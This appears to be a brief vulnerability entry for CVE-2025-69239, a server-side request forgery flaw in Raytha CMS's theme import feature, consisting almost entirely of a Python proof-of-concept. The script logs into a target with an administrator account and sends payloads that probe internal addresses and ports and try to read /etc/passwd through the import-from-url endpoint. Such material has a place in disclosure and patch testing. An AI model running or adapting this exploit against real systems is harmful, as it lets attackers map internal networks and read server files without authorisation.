CVE-2025-69239 Raytha CMS Server-Side Request Forgery漏洞

# CVE-2025-69239 SSRF PoC - Raytha CMS Theme Import # Requires high privilege authentication import requests import json target_url = "http://target-website.com" login_url = f"{target_url}/auth/login" theme_import_url = f"{target_url}/admin/themes/import-from-url" # Login with high privilege account session = requests.Session() login_data = { "email": "[email protected]", "password": "admin_password" } session.post(login_url, data=login_data) # SSRF payload - scan internal service ssrf_payloads = [ "http://127.0.0.1:80/", "http://127.0.0.1:22/", "http://192.168.1.1:8080/", "file:///etc/passwd" ] for payload in ssrf_payloads: data = { "theme_url": payload, "submit": "Import" } response = session.post(theme_import_url, data=data) print(f"Payload: {payload}") print(f"Response Status: {response.status_code}") print(f"Response Length: {len(response.text)}") print("---")